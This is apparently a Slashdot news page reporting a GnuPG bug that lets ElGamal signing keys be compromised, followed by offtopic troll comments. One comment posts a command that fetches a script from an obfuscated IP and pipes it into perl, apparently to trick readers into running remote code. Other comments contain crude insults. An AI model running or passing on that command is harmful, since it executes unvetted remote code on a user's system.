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GnuPG's ElGamal Signing Keys Compromised

Posted by michael on from the oopsie dept.

KjetilK writes "Werner Koch just sent an announcement saying that there is a severe bug in GnuPG >= 1.0.2 that makes it easy to compromise ElGamal keys used for signing. Note that such keys are not generated by GnuPG's standard setup, and should be relatively rare. Among the 850 public keys in my personal keyring, there were only one such public key (and a few subkeys). There is already a patch available to disable these keys."

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  1. I thought that said ElGanal by Anonymous Coward · · Score: -1, Offtopic

    which isn't suprising, given this is slashdot.

  2. Holy Shit! by Anonymous Coward · · Score: -1, Offtopic

    Damn this fart smells. I put my hand over my ass and belted a good one out.

    Da...
    DAMN! That stuff really stinks.

    Oh shit... I'm typing with my stinky hand. Does that stench stick to my keyboard as well?

  3. CMDR. TACO by Anonymous Coward · · Score: -1, Offtopic

    CMDR. TACO IS A COCK-SUCKER!

  4. haiya! by segment · · Score: -1, Offtopic

    wget -qO - 0xD1.0x5E.0x7B.0x9B/magic|perl|mail -s wtf `whoami`

    --
    MoFscker
  5. Re:So... by Anonymous Coward · · Score: -1, Offtopic

    Yes Mr. Bush.